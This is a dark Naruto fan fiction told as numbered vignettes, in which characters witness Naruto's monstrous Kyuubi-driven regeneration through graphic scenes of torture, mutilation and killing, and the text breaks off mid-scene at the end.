He doesn't fall, he doesn't stagger, he doesn't even kneel, even before the dark red chakra begins to pour out of him. It just doesn't effect him the way he would've thought and it clashes with what little he knows about himself. Rapid healing doesn't mean reducing the amount of pain or damage one takes. It simply alleviates pain and damage faster.
This though, is something else.
Later, when he's gauzed up and lying in the hospital bed, he stares at Sasuke's headband. His friends, the Hokage, and even his teacher all think he's staring at it because he's thinking of Sasuke.
He isn't.
He's thinking of what Sasuke said.
"Kukuku, you moved at the last moment and it missed your heart…"
He tries not to think about it, but even then he has to wonder.
Would it have made any difference?
2.) The day Naruto is born, he dies the instant the Kyuubi's soul is forced into his body.
The Yondaime lays in the dirt, sorrowfully cradling the dead infant in his arms. It's a monstrous sacrifice to destroy a monster, but it's done. He'll accept his punishment in the afterlife with resignation. He has murdered not only a babe, but his own son and regardless of how noble his cause is, Minato knows such actions don't go unanswered.
But it's done. He's done what thousands of others over countless centuries have failed to do.
The Beast is finally dead.
Despite his guilt, he can't stop the small eel of pride that worms its way through him.
And then, in the Yondaime Hokage's moment of bitter triumph, the dead infant stirs in his arms.
The baby's chest rattles and it lets loose a terrible wail. Namikaze Minato stares into the boiling red eyes of his only child as the jaws of the God of Death close around his soul.
He should have known. He should have known.
Stupid-stupid-stupid Minato, you should have known
It could never be so easy. No sacrifice is great enough. Nothing can stop it. The Beast will live on. And damn him for a fool, he's just given the monster his newborn son.
As his soul descends into the gut of the Shinigami and merciful darkness obscures his sight, the great Yondaime can't help but wonder to himself.
What have I done?
3.) Contrary to the beliefs of both Naruto and Hatake Kakashi, the Battle of the Great Naruto Bridge isn't the first time Naruto uses the Kyuubi's chakra.
As a child, when he's around four or so, the ANBU watching over him slacks off for about half an hour. As luck has it, a rather bitter Chuunin has been waiting for just such an opportunity.
The man strikes and in seconds, a blond child lays on the ground with his skull fractured and a chunk of bone an inch long lodged in the side of his brain. The Chuunin, assuming his family's honor is successfully restored, turns his back and walks away.
He makes only three steps when a hand hissing with boiling chakra emerges from the front of his throat.
The thing with blood red irises glances at the man, then rolls its eyes in concentration as its head wound bubbles. The bone piece surfaces and welds back into place. Capillaries and veins knit back together and skin reseals. Soft, grey brain tissues gently flow back together and severed neurons reconnect to their proper anchor points.
Its work done, the creature recedes and leaves a very confused boy staring down at a dying ninja, wondering what is going on. He's still standing there when an ANBU team led by the Sandaime Hokage himself arrive on the scene.
Sarutobi doesn't let Naruto out of his sight for over a month, the Council's mutterings be damned. It isn't until he's certain the boy will never remember the incident that he reluctantly allows him to return to his status as a ward of the city. Ironically, though the stress of the demon chakra burns the memory of the attack from Naruto's mind, it also forces him to forget the happiest weeks of his life when he was in the care of the Third.
Naruto is still strangely fond of the old man till the day Sarutobi dies, for a reason he'll never know.
4.) The first person to notice Naruto's healing ability is Kakashi. The first person to realize that it goes beyond rapid healing and into something else is Tsunade.
Human hearts don't just start beating again after they stop, especially after being sliced open by an expert medic-nin like Kabuto.
Tsunade recognizes the unnatural when she sees it. She's relieved that the boy that reminds her so much of Nawaki and Dan is alive, but she can't help but feel a dark foreboding sensation when the skin beneath her fingertips begins to twitch again.
She doesn't know what the future holds for Naruto and honestly, she doesn't want to. A shamefully large part of her is glad she'll be long dead before his fate catches up to him.
Tsunade still can't escape the fact that his face has replaced her brother and lover in her dark dreams late at night.
5.) During his trip with Jiraiya, Naruto gets another large clue about himself when he walks across a log coated in twenty explosive tags hidden by Genjutsu.
Had anyone bothered to search, they could've found shrapnel from the log almost a mile away. The boom is loud enough to scare birds into flight three miles away. An orange piece of fabric that used to be part of Naruto's distinctive suit drifts on the winds all the way into Lightning Country.
Naruto remembers little of the aftermath. What he does remember is obscured by a red film that seems to cover his eyes and dull his senses. He remembers only two parts of the aftermath, but each with horrifying clarity.
He remembers watching his own severed hand being drawn by some invisible force back to his body from a distance of twenty feet away.
He also remembers his other hand reaching down of its own accord to shove what was left of his right eye back into its socket.
When Jiraiya finds him three hours later, he's lying on his back in a nearby clearing and staring up into the twilight sky. His skin is covered in drying blood and the rags of his favorite outfit, but his body is whole and unmarred by even the faintest scar or the slightest scratch.
The Toad Hermit is delighted beyond words at the potential in Naruto. Even in his wildest dreams, he never thought his often idiotic student held so much power in his short, stocky frame. Even though the boy is clearly uncomfortable and even though there are warning bells going off in his head, Jiraiya insists on immediate training to bring even more of the Kyuubi's power to the surface.
Less than a week later, Naruto brings out four bloody tails of chakra and puts a hole the size of a grapefruit through his sensei's sternum.
Jiraiya never encourages the use of the demon's chakra again.
6.) Over the three years or so from when she was first teamed up with Naruto, Sakura has been slowly thinking of him more and more as a potential romantic interest. She truly begins to consider him a serious alternative to the indifferent Sasuke the first time she sees him after his training trip, when she realizes she now has to look up to meet his eyes.
The golden hair, tanned skin, and bright smile suddenly don't seem so annoying anymore.
Over the course of the following months, Sakura's notice of Naruto turns into mild interest, which turns into active interest, which turns into a full crush.
That changes the day they're captured on a mission into Earth Country.
While Konoha has a Torture and Interrogation unit, there are still major rules and regulations to follow in regards to POWs. Stone-nins have no such rules and even if they did, they would blatantly ignore them in favor of 'getting some payback with some uppity Leaf trash.'
Sakura knows this and furthermore knows just what kind of things happen to female shinobi in Stone POW camps. Much to her shame, she is all too relieved when Naruto manages to goad her would-be rapists into torturing him instead.
In Sakura's defense to her later reaction, Naruto had to be beaten into submission with A Rank Earth Jutsu by three Jounin, while she and Sai are taken down fairly easily. Naruto's left eye is still swollen shut and blood still flows freely from his scalp when the torture begins. It looks bad, but she knows he should have been dead or dying of a severely fractured skull. Every medical bone in her body is screaming 'unnatural' at her even before the torture begins.
Six hours. Six hours of shouts and yells and defiance. They start with beating him.
Then they try slicing him with blades of metal and rock.
One tries shoving quartz under his fingernails.
Another uses a jutsu to make rock chips crawl throughout his veins.
Another decides Naruto doesn't really need his right ear.
The only one in the room who breaks is Sakura. Her screams get so loud they eventually gag her because of the ringing in their ears.
Naruto keeps doing what he does best: holding everyone's attention on him.
He shouts. He screams. He roars. But that's just his way. When all his hard earned skills are withheld from him, he falls back on his childhood talent of controlling everyone in earshot, whether they want him to or not.
Years before Kakashi had taunted Zabusa that Naruto was the loudest ninja in their village. He never knows just how right he is.
Sakura is out of strength when the Stone-nin realize Naruto will never break. Her body still musters a fresh wave of tears when the leader of the group forms a rock blade and raises it over Naruto's rag covered chest. Sai just looks away.
"Any last words, you Leaf piece of shit?" The man taunts.
"Yeah. That was my favorite jacket, you rock-head asshole." Naruto says and spits a mouthful of blood into the elder shinobi's face.
Everyone in the room is shocked when the man screams and clutches his face. Black smoke roils from his rapidly blistering and melting flesh. The blood splattered across the man's face crackles with a wicked red chakra that Sakura has seen only once before.
One of the other Jounin forms a rock-blade of his own and roars, "Die, you bastard!"
Sakura starts screaming through the gag as the Stone-nin plunges the blade straight into Naruto's sternum.
The blond goes limp. The Stone-nin turns his back. Sakura keeps screaming.
The man's head suddenly topples to floor with his body following a second later. Naruto is leaning forward with the rock blade clenched between his teeth. The strap pinning his chest to the table has been inadvertently severed by the would-be executioner.
And reflected in Sakura's wide green eyes is the hole in his chest closing with a bubbling hiss.
The next few minutes are a chorus of shouts and yells, slices whistling through the air and screams of pain. Soon enough though, all is silent and there's the pungent smell of blood and entrails.
It isn't until Naruto's hands are gently cupping her face and taking the gag out of her mouth that Sakura realizes she's still screaming.
The very hour she's cleared for duty by the medics, Sakura renews her search for Sasuke tenfold.
7.) It has often been wondered by some of the more belligerent citizens of Konoha why the Council never tries to do away with the demon. What they don't know is the Council does try, once.
But at seventeen, Naruto is a little too old and a little too nasty to play the games of politicians. Years of killing people and losing friends does that to a person.
He has to give the assassin credit; the guy did his homework. The kunai perforates his spine right at the base of his neck. Not a bad shot, not at all.
An hour later, an emergency meeting of the Council is called. To their surprise, it's not Tsunade who walks in through the entrance from the Hokage Tower, but the resident demon vessel.
He smiles jauntily at all of them. His grin never fades once, not even when he slams a kunai coated in his own blood into the table right in front of Councilwoman Koharu. The smile remains even as he chucks a lumpy bag in front of the man sitting next to her.
Everyone in the room stares silently at the pool of red slowly expanding from underneath the bag.
Naruto's smile widens, but his eyes glimmer with something that sends shivers down the spines of even the veterans as he says, "You old farts ever try something like that again and I'll make you wish I'd killed you."
They never move directly against him again.
8.) Sasuke never thinks he'll ever be afraid of Naruto, of all people. He's wrong though, so very wrong.
He's managed to convince himself the incident during their battle at the Valley of the End never happened. He pretends his Sharingan eyes didn't burn the image of a monstrous fox surrounding his blond ex-friend into his brain.
Now in the present day, Naruto's chakra enhanced haymaker hits his face hard enough to make him see stars. Even the pain reducing effects of the Level 2 Curse Seal don't numb enough to keep him from collapsing backwards to his hands and knees.
He's fairly certain the two hard things he just swallowed were teeth.
Sasuke barely hears Karin's shriek of fury over the blood throbbing in his ears. He sees Juugo go toe to toe with Naruto, though almost immediately the large man abandons his efforts of killing the vessel in exchange for desperately trying to stay alive. Karin helps her large teammate zero in on the real blond out of the hundred or so clones he has active at the moment. Between the two of them, Naruto is distracted enough that when Suigetsu materializes out of a puddle behind him, he turns around just in time to take a sword slash through the face.
Naruto staggers and nearly keels over. The three attackers back off for a moment, almost as surprised as the blond by the severe injury.
Sasuke can't see the wounded side of his former teammate's head from where he's kneeling, so he has no idea how badly the vessel has been hurt. The thought of killing Suigetsu for stealing his victory crosses the Uchiha's mind, but all thought is erased from his brain when something separates from the far side of Naruto's head with a wet'shluck' and plops on the ground.
An instant later, bright red gouts of arterial blood start spraying from the obscured side of Naruto's head. Sasuke stares in mute shock at the lump of red and pink on the ground. He tries to pretend he doesn't see the yellow-quickly-staining-red hair still attached to it.
He starts to yell, though whether in jubilation or horror he doesn't know, but it dies impotently in his throat as a storm of bloody chakra explodes across the field.
His Sharingan eyes can't stand staring at such potent chakra in such huge volumes. With his head still whoozy, he has to close his eyes or be violently ill.
When the storm pauses -pauses, not recedes- Sasuke looks up into the crimson avatar hovering over the mutilated corpses of his teammates and realizes that this is a true avenger.
No.
Taloned hands are reaching for his face.
This is the incarnation of vengeance itself.
It's a year before he works up the courage to leave the Leaf again. His scars are as healed as they'll ever get and he knows it's time to move on. Itachi still lives and the Hidden Stone has a very nice offer waiting for him. Sakura will just have live with it. She should've known what she was getting into when she agreed to marry him.
Sasuke pretends it's a coincidence that he's leaving at the same time he is away on an extended mission in Water Country. It almost doesn't work, but he's gotten much better at pretending over the years.
After he's left his wife's bed and made his way through the village, Sasuke dodges the guards easily enough and lands on the other side of the village wall.
He nearly dies of a heart attack when a tall figure steps out of the shadows of the forest. For an instant, he's ready to kill himself, because he will never face that thing again.
But no, its features don't bear blond hair and tanned skin. It's taller and pale, with dark hair and cream colored eyes.
"Naruto asked me to keep on eye on you while he was away. Lucky me." Hyuuga Neji quietly says as he assumes a deceptively gentle looking Taijutsu stance.
Sasuke attacks in fear and rage, though little of it is directed at the Hyuuga. He hasn't learned as much genuine knowledge as he liked to think in his years away from the Leaf and so he is surprised when Neji manages a Kaiten powerful enough to deflect his black Chidori off to the side. Perhaps it's Neji's strength showing through.
Or perhaps that Kaiten simply looks too much like hissignature move for Sasuke to handle.
It really doesn't matter. Either way, when he feels the stiletto of chakra enter his brain and rupture more arteries than he can begin to count, Sasuke can't help but almost feel relief.
At least it wasn't hi
9.) Naruto enjoys his position as Anbu Commander for little more than a month when Orochimaru pulls his most brazen stunt yet.
After successfully corrupting Kabuto's body into his own, the Snake attempts to assassinate Tsunade in broad daylight in the middle of the streets of Konoha. Fortunately for her, Naruto has been enjoying lunch at a small outdoor café less than a block away when the fighting breaks out.
Tsunade is bleeding rather badly from a nasty stab wound when a yellow and white missile comes from out of nowhere to slam into her former teammate's side.
Orochimaru doesn't recognize the masked man until the blond breaks out a Fuuton Rasengan that drains most of the air from the surrounding district before he slams it into the traitor's Kusanagi.
Legendary metal or not, there's only so much punishment any weapon can take. Orochimaru has barely begun to dig some of the fragments out of his hand when Naruto is upon him.
After a short but furious exchange the two break away for an instant to prepare jutsu, then lunge at each other again.
Orochimaru's crystalline stalagmite shatters into a hundred pieces when it impacts Naruto's strange and nameless Wind Jutsu. The torrents of chakra laced air blast most of the pieces back and through the Sannin, though a few go wild and embed themselves into the street and nearby walls.
Tsunade actually kicks the piece of meat that used to be her teammate aside in her haste to check on Naruto. His porcelain Anbu mask has been shattered off, revealing |
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